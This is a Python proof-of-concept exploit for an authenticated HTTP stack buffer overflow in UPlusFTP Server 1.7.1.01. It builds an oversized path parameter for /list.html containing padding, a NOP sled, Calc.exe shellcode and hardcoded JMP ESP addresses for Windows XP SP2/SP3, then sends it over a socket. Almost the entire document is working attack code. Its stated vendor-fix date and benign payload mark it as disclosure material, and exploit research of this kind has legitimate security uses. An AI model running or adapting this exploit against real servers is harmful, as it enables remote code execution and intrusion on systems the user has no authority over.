UPlusFTP Server 1.7.1.01 – (Authenticated) HTTP Remote Buffer Overflow
#!/usr/bin/python import socket,sys,base64 print """ # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ UPlusFTP Server v1.7.1.01 [ HTTP ] Remote BoF Exploit PoC Discovered by : Karn Ganeshen Author : Karn Ganeshen / corelanc0d3r KarnGaneshen [aT] gmail [d0t] com http://ipositivesecurity.blogspot.com Greetz out to: corelanc0d3r http://corelan.be:8800/index.php ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # """ # Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ] # Date Found : July 21, 2010 # Vendor notified on July 23, 2010 # Issue fixed and new version 1.7.1.02 released on July 23, 2010 if len(sys.argv) != 5: print "Usage: ./poc.py <Target IP> <Port> <User> <Password>" sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) user = sys.argv[3] pwd = sys.argv[4] auth = base64.b64encode(user+":"+pwd) buf="A"*1963 buf+="\x90"*179 # 165 bytes Calc.exe shellcode / badchars identified and excluded buf+=("\xd9\xca\x29\xc9\xb1\x24\xbf\x3f\xc7\x66\x9f\xd9\x74\x24\xf4\x5e" "\x31\x7e\x17\x03\x7e\x17\x83\xf9\xc3\x84\x6a\xf9\x24\x0c\x95\x01" "\xb5\x06\xd0\x3d\x3e\x64\xde\x45\x41\x7a\x6b\xfa\x59\x0f\x33\x24" "\x5b\xe4\x85\xaf\x6f\x71\x14\x41\xbe\x45\x8e\x31\x45\x85\xc5\x4e" "\x87\xcc\x2b\x51\xc5\x3a\xc7\x6a\x9d\x98\x2c\xf9\xf8\x6a\x73\x25" "\x02\x86\xea\xae\x08\x13\x78\xef\x0c\xa2\x95\x84\x31\x2f\x68\x71" "\xc0\x73\x4f\x81\x10\xba\x4f\xed\x1d\xfd\x7f\x68\xe1\x86\x73\xf9" "\xa2\x7a\x07\x8d\x3e\x2e\x9c\x05\x37\xdb\xaa\x5e\xc7\xab\xad\x60" "\xc8\x40\xc5\x5c\x97\x67\xe0\xfc\x71\x01\xf4\x7f\xbd\x6a\x55\x17" "\xce\x07\x51\xb8\x46\x80\xa4\xcc\x99\xe7\xa7\x37\xc6\x66\x34\xd4" "\x27\x0c\xbc\x7f\x38") buf+="\x90"*15 #[ XP SP2 ] -> "\x78\x16\xF3\x77" #0x77F31678 JMP ESP buf+="\x78\x16\xF3\x77" #[ XP SP3 ] -> "\x3F\x71\x49\x7E" #0x7E49713F JMP ESP #buf+="\x3F\x71\x49\x7E" buf+="\x90"*30 buf+="\x66\x05\x7A\x03" #ADD AX,037A buf+="\x66\x05\x7A\x03" #ADD AX,037A buf+="\x66\x05\x7A\x03" #ADD AX,037A buf+="\x50\xc3" #PUSH EAX + RET print "[+] Launching exploit against " + target + "..." head = "GET /list.html?path="+buf+" HTTP/1.1 \r\n" head += "Host: \r\n" head += "Authorization: Basic "+auth+"\r\n" try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target, port)) s.send(head + "\r\n") print "[!] Payload sent..." s.close() except: print "[x] Error!" |